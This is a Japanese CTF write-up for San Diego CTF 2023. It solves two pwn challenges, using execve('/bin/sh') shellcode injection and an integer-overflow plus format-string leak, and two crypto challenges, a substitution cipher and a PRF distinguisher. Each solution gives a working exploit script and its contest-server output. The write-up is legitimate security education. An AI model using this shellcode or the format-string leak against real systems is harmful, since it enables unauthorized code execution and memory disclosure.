San Diego CTF 2023 Writeup

この大会は2023/5/6 9:00(JST)~2023/5/8 9:00(JST)に開催されました。
今回もチームで参戦。結果は1350点で249チーム中29位でした。
自分で解けた問題をWriteupとして書いておきます。
なお、過去問としてno pointsの問題も出題されていましたが、それについてはここでは触れません。

Turtle Shell (PWN 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char *pcVar1;
  undefined local_48 [56];
  code *local_10;
  
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("Say something to make the turtle come out of its shell");
  fgets(local_48,0x32,stdin);
  pcVar1 = strstr(local_48,bad);
  if (pcVar1 == (char *)0x0) {
    local_10 = (code *)local_48;
    (*local_10)();
  }
  return 0;
}

                             bad                                             XREF[2]:     Entry Point(*), main:004006af(R)  
        00600b30 78 07 40        addr       DAT_00400778                                     = B0h
                 00 00 00 
                 00 00

                             DAT_00400778                                    XREF[3]:     main:004006af(*), 
                                                                                          main:004006ba(*), 00600b30(*)  
        00400778 b0              ??         B0h
        00400779 3b              ??         3Bh    ;
        0040077a 00              ??         00h
        0040077b 00              ??         00h
        0040077c 00              ??         00h
        0040077d 00              ??         00h
        0040077e 00              ??         00h
        0040077f 00              ??         00h
$ checksec --file turtle-shell
[*] '/mnt/hgfs/Shared/turtle-shell'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

シェルコードを入力すると、そのコードを実行できる。その際\xb0\x3bを使用していなければよい。https://note.com/pien2021/n/n40ec68726989で使っているシェルコードを使う。

#!/usr/bin/env python3
from pwn import *

p = remote('turtle.sdc.tf', 1337)

payload = b'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05'

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to turtle.sdc.tf on port 1337: Done
Say something to make the turtle come out of its shell
b'H1\xd2RH\xb8/bin/sh\x00PH\x89\xe7RWH\x89\xe6H1\xc0\xb0;\x0f\x05'
[*] Switching to interactive mode
$ ls
flag.txt
turtle-shell
$ cat flag.txt
sdctf{w0w_y0u_m4d3_7h3_7urT13_c0m3_0u7_0f_1t5_5h3l1}
sdctf{w0w_y0u_m4d3_7h3_7urT13_c0m3_0u7_0f_1t5_5h3l1}

money-printer (PWN 150)

intの上限を超えて指定すれば、ループを抜けられる。その後は、FSB脆弱性を使って、フラグを8バイトリークする。これを繰り返し、フラグ全体を取得する。

#!/usr/bin/env python3
from pwn import *

flag = ''
i = 10
while True:
    if len(sys.argv) == 1:
        p = remote('money.sdc.tf', 1337)
    else:
        p = process('./money-printer')

    money = 2147483648
    payload = f'%{i}$p'

    data = p.recvuntil(b'\n').rstrip().decode()
    print(data)
    print(str(money))
    p.sendline(str(money).encode())
    data = p.recvuntil(b'?\n').rstrip().decode()
    print(data)
    print(payload)
    p.sendline(payload.encode())
    data = p.recvuntil(b'\n').rstrip().decode()
    print(data)
    flag += p64(int(data.split(' ')[-1], 16)).decode()
    if '}' in flag or '\x00' in flag:
        flag = flag.rstrip('\x00')
        break
    data = p.recvuntil(b'\n').rstrip().decode()
    print(data)
    data = p.recvuntil(b'\n').rstrip().decode()
    print(data)
    p.close()
    i += 1

if '}' not in flag:
    flag += '}'
print(flag)

実行結果は以下の通り。

[+] Opening connection to money.sdc.tf on port 1337: Done
I have 100 dollars, how many of them do you want?
2147483648
you can have -2147483648 dollars!
wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience?
%10$p
wow you said: 0x34647b6674636473

that's truly fascinating!
[*] Closed connection to money.sdc.tf port 1337
[+] Opening connection to money.sdc.tf on port 1337: Done
I have 100 dollars, how many of them do you want?
2147483648
you can have -2147483648 dollars!
wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience?
%11$p
wow you said: 0x665f7530795f6e6d

that's truly fascinating!
[*] Closed connection to money.sdc.tf port 1337
[+] Opening connection to money.sdc.tf on port 1337: Done
I have 100 dollars, how many of them do you want?
2147483648
you can have -2147483648 dollars!
wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience?
%12$p
wow you said: 0x435f345f446e7530

that's truly fascinating!
[*] Closed connection to money.sdc.tf port 1337
[+] Opening connection to money.sdc.tf on port 1337: Done
I have 100 dollars, how many of them do you want?
2147483648
you can have -2147483648 dollars!
wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience?
%13$p
wow you said: 0x304d345f597a3472

that's truly fascinating!
[*] Closed connection to money.sdc.tf port 1337
[+] Opening connection to money.sdc.tf on port 1337: Done
I have 100 dollars, how many of them do you want?
2147483648
you can have -2147483648 dollars!
wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience?
%14$p
wow you said: 0x4d5f66305f374e75

that's truly fascinating!
[*] Closed connection to money.sdc.tf port 1337
[+] Opening connection to money.sdc.tf on port 1337: Done
I have 100 dollars, how many of them do you want?
2147483648
you can have -2147483648 dollars!
wow you've printed money out of thin air, you have 2147483648!!! Is there anything you would like to say to the audience?
%15$p
wow you said: 0x79336e30
sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y}
[*] Closed connection to money.sdc.tf port 1337
sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y}

Jumbled snake (CRYPTO 150)

暗号化処理の概要は以下の通り。

・key = get_rand_key()
 ・chars_left: printable文字のリスト
 ・key = {}
 ・printable文字の各文字charについて以下を実行
  ・val: chars_leftから選択
  ・chars_leftからvalを削除
  ・key[char] = val
 ・keyを返却
・doc: print_flag.pyのdecode_flag関数のコメント(改行なし)
・1行目にdocを出力
・2行目以降にsubs(src.read(), key)を出力

2行目以降の出力結果は、換字式暗号になっている。1行目のデータが含まれていることを使って復号する。

#!/usr/bin/env python3
import string

with open('print_flag.py.enc', 'r') as f:
    enc = f.read()

doc = enc.split('\n', 1)[0]
ct = enc.split('\n', 1)[1]

C = list(string.printable)
P = ['*'] * len(C)

for i in range(len(ct) - 2 - len(doc)):
    if ct[i] == ct[i+1] and ct[i+1] == ct[i+2]:
        if ct[i + len(doc) + 3] == ct[i + len(doc) + 4] \
            and ct[i + len(doc) + 4] == ct[i + len(doc) + 5]:
            index = i + 3
            break

P[C.index(ct[index - 1])] = '\''
for i in range(len(doc)):
    P[C.index(ct[index + i])] = doc[i]

## guess ##
P[C.index(ct[0])] = '#'
P[C.index(ct[1])] = '!'
P[C.index(ct[3])] = '/'
P[C.index(ct[23])] = '\n'
P[C.index(ct[50])] = '='
P[C.index(ct[107])] = '('
P[C.index(ct[109])] = ')'
P[C.index(ct[250])] = 'N'

## doc of check function ##
check_doc = doc.upper()[2:45][::-1]
for i in range(len(check_doc)):
    P[C.index(ct[i + 165])] = check_doc[i]

## decrypt ##
pt = ''
for c in ct:
    pt += P[C.index(c)]
print(pt)

復号結果は以下の通り。

#! /usr/bin/env python3
import base64

coded_flag = 'c2RjdGZ7VV91blJhdjNsZWRfdEgzX3NuM2shfQ=='

def reverse(s):
    return ''.join(reversed(s))

def check():
    '''GOD_YZAL_EHT_REVO_SPMUJ_XOF_NWORB_KCIUQ_EHT'''
    assert decode_flag.__doc__ is not None and decode_flag.__doc__.upper()[2:45] == reverse(check.__doc__)

def decode_flag(code):
    '''{'the_quick_brown_fox_jumps_over_the_lazy_dog': 123456789.0, 'items':[]}'''
    return base64.b64decode(code).decode()

if __name__ == '__main__':
    check()
    print(decode_flag(coded_flag))

coded_flagをbase64デコードする。

$ echo c2RjdGZ7VV91blJhdjNsZWRfdEgzX3NuM2shfQ== | base64 -d
sdctf{U_unRav3led_tH3_sn3k!}
sdctf{U_unRav3led_tH3_sn3k!}

Lake of Pseudo Random Fire (CRYPTO 300)

サーバの処理概要は以下の通り。

・rooms = 50
・messages_left = 100
・roomが0より大きい間、以下を実行
 ・correct_door: ランダム1ビット整数
 ・correct_doorが0の場合
  ・left_game = PRFGame(0)
   ・left_game.plaintext_ciphertext = {}
   ・left_game.key: ランダム16バイト
   ・left_game.mode = 0
  ・right_game = PRFGame(1)
   ・right_game.plaintext_ciphertext = {}
   ・right_game.key: ランダム16バイト
   ・right_game.mode = 1
 ・correct_doorが1の場合
  ・left_game = PRFGame(1)
  ・right_game = PRFGame(0)
 ・以下繰り返し
  ・decision: 入力
  ・decisionが"1"の場合
   ・left_game.modeが0の場合、roomsをマイナス1
   ・left_game.modeが1の場合、終了
  ・decisionが"2"の場合
   ・right_game.modeが0の場合、roomsをマイナス1
   ・right_game.modeが1の場合、終了
  ・decisionが"3"の場合
   ・messages_left = orycull(messages_left, left_game, right_game)
    ・以下繰り返し
     ・message_leftが0の場合、継続(永久に終了しない)
     ・hex_message: 入力
     ・message: hex_messageをhexデコード
     ・messageの長さが16でない場合、継続
     ・left_response: left_game.oracle(message)のhexエンコード
      ・left_game.modeが0の場合
       ・left_game.random(message)を返却
        ・left_game.plaintext_ciphertextにmessageがある場合、left_game.plaintext_ciphertext[message]を返却
        ・random_string: ランダム32バイト文字列
        ・left_game.plaintext_ciphertext[message] = random_string
        ・random_stringを返却
      ・left_game.modeが1の場合
       ・left_game.pseudorandom(message)を返却
        ・msg_comp: messageと0xffのXOR
        ・messageのAES-ECB暗号 + msg_compのAES-ECB復号を返却
     ・right_response: right_response.oracle(message)のhexエンコード
     ・left_response、right_responseを表示
     ・messages_left - 1を返却

3で一回目に適当な文字列16バイトAを指定する。
pseudorandom関数を使った場合、以下の結果になる。

Enc(A) + Dec(A ^ 0xff)

二回目でDec(A ^ 0xff)を指定すると、pseudorandom関数を使った場合、以下の結果になる。

Enc(Dec(A ^ 0xff)) + Dec(Dec(A ^ 0xff) ^ 0xff)
= (A ^ 0xff) + Dec(Dec(A ^ 0xff) ^ 0xff)

先頭16バイトを0xffでXORすると、Aになるはずなので、この検証をすることによってleftかrightかを判定する。

#!/usr/bin/env python3
import socket
import binascii

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

message = 'A' * 16
hex_message = binascii.hexlify(message.encode()).decode()
xor_message = bytes([x ^ 0xff for x in message.encode()])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('prf.sdc.tf', 1337))

for room in range(50):
    data = recvuntil(s, b'?\n').rstrip()
    print(data)

    data = recvuntil(s, b': ')
    print(data + '3')
    s.sendall(b'3\n')
    data = recvuntil(s, b': ')
    print(data + hex_message)
    s.sendall(hex_message.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    hex_message2 = data.split(' ')[-1][32:]

    data = recvuntil(s, b'\n').rstrip()
    print(data)

    data = recvuntil(s, b': ')
    print(data + '3')
    s.sendall(b'3\n')
    data = recvuntil(s, b': ')
    print(data + hex_message2)
    s.sendall(hex_message2.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data.split(' ')[-1][:32] == xor_message.hex():
        decision = '1'
    else:
        decision = '2'

    data = recvuntil(s, b'\n').rstrip()
    print(data)

    data = recvuntil(s, b': ')
    print(data + decision)
    s.sendall(decision.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)

for _ in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

                :
                :

          ┌---------┐                         ┌---------┐
          |         |                         |         |
          |         |                         |         |
          |         |                         |         |
          |       O |                         |       O |
          |         |                         |         |
          |         |                         |         |
          └---------┘                         └---------┘

You enter a room. Inside the room are two doors. How do you proceed?
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 3
Enter your incantation for Orycull to utter: 41414141414141414141414141414141
The left door sings: 03bc1c9f8cebcb392e5c2af980f52b6ba36e20a24b57fec41c9e3297abe49380
The right door sings: eaf7f4716028c68fba5e5c37af9c4f109f7702610abd0fa41fa156b78319c01b
Orycull can still speak 9 more times.
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 3
Enter your incantation for Orycull to utter: 9f7702610abd0fa41fa156b78319c01b
The left door sings: 9e337331e6dc282a199bd2f56a6b513ba0b8842ff52f5428f9da0de5f8c7a265
The right door sings: bebebebebebebebebebebebebebebebe422fda045875349a4e765903484cdf98
Orycull can still speak 8 more times.
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 1
Phew! You didn't walk into the Lake of Pseudo-Random Fire.
There are 4 rooms remaining. Onwards...

          ┌---------┐                         ┌---------┐
          |         |                         |         |
          |         |                         |         |
          |         |                         |         |
          |       O |                         |       O |
          |         |                         |         |
          |         |                         |         |
          └---------┘                         └---------┘

You enter a room. Inside the room are two doors. How do you proceed?
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 3
Enter your incantation for Orycull to utter: 41414141414141414141414141414141
The left door sings: f72a8037b212ca4ccf0ce8f3fde475b31400ef9df149c4c09db73dc5d68714e4
The right door sings: 58da98814d07d23103a54d02f1541edc937c9ea825138f9636fa2abadff455f1
Orycull can still speak 7 more times.
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 3
Enter your incantation for Orycull to utter: 937c9ea825138f9636fa2abadff455f1
The left door sings: 495b2eafe4dffedccbb45eadea13c6a8672b2513091738bd34b23917d77a0526
The right door sings: bebebebebebebebebebebebebebebebef33f308f72bbb89203a3a65357109568
Orycull can still speak 6 more times.
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 1
Phew! You didn't walk into the Lake of Pseudo-Random Fire.
There are 3 rooms remaining. Onwards...

          ┌---------┐                         ┌---------┐
          |         |                         |         |
          |         |                         |         |
          |         |                         |         |
          |       O |                         |       O |
          |         |                         |         |
          |         |                         |         |
          └---------┘                         └---------┘

You enter a room. Inside the room are two doors. How do you proceed?
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 3
Enter your incantation for Orycull to utter: 41414141414141414141414141414141
The left door sings: d30ae3bae74c92e2a66da741d26337bc13daf159f8146630034586d84d7afe74
The right door sings: 76d4888d7fe38988f478b1204b75f0546a5fb1528d71f08a9f09a96d3b8b7afd
Orycull can still speak 5 more times.
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 3
Enter your incantation for Orycull to utter: 6a5fb1528d71f08a9f09a96d3b8b7afd
The left door sings: 2120f12ae8f72e58c53a1f7d9011f684947be886b2e34ada2764642525021faa
The right door sings: 531bc846dcf1bae264959771727714de31381db990b6bad726ef00e828eb9f7f
Orycull can still speak 4 more times.
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 2
Phew! You didn't walk into the Lake of Pseudo-Random Fire.
There are 2 rooms remaining. Onwards...

          ┌---------┐                         ┌---------┐
          |         |                         |         |
          |         |                         |         |
          |         |                         |         |
          |       O |                         |       O |
          |         |                         |         |
          |         |                         |         |
          └---------┘                         └---------┘

You enter a room. Inside the room are two doors. How do you proceed?
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 3
Enter your incantation for Orycull to utter: 41414141414141414141414141414141
The left door sings: bdfd31dc9dbafdabf78be041971496cacbe1dc50bc7f42d1fb8ea7ab0f435eeb
The right door sings: b2c6257884be3d80fea1a6d53a138f1c78ededf033c94690e41851edbd3b99c1
Orycull can still speak 3 more times.
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 3
Enter your incantation for Orycull to utter: 78ededf033c94690e41851edbd3b99c1
The left door sings: 4244c8b424b6f30aa91a04ccda3829e1f5b97360094a39a47e3a66ef48d77168
The right door sings: 8e379f0313679046155372106371676cfd86cb01627b6decc3a10304cc91989f
Orycull can still speak 2 more times.
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 2
Phew! You didn't walk into the Lake of Pseudo-Random Fire.
There are 1 rooms remaining. Onwards...

          ┌---------┐                         ┌---------┐
          |         |                         |         |
          |         |                         |         |
          |         |                         |         |
          |       O |                         |       O |
          |         |                         |         |
          |         |                         |         |
          └---------┘                         └---------┘

You enter a room. Inside the room are two doors. How do you proceed?
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 3
Enter your incantation for Orycull to utter: 41414141414141414141414141414141
The left door sings: a5567e32cd5a07d452f319f86be7f40fbbeabc0a3c40757c1d4f1bc8609ecd2b
The right door sings: 2aed40a0b9bba8d80fb78b67ac042265804e28a1a0451be84d3bc9d33443b30c
Orycull can still speak 1 more times.
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 3
Enter your incantation for Orycull to utter: 804e28a1a0451be84d3bc9d33443b30c
The left door sings: 91f849e4c8b62f696d58e934a97c97dc1015592895ce33ed50e26d9313b8a4f9
The right door sings: 0ced7432ce7bb1e066a544ebf56acd0be14d4d1637977fe379756e74e76b4bae
Orycull can still speak 0 more times.
1 - Choose left door
2 - Choose right door
3 - Call on Orycull the High Priest
Enter a number: 2
Phew! You didn't walk into the Lake of Pseudo-Random Fire.
There are 0 rooms remaining. Onwards...
Magnificent! You have braved the 50 rooms. Unfortunately, to your chagrin, the Beacon of True Randomness is in another castle...
Oh well. Here's a consolation prize:
b'sdctf{n07_V3rY_pS3uD0R4nD0m_a6d137}'
sdctf{n07_V3rY_pS3uD0R4nD0m_a6d137}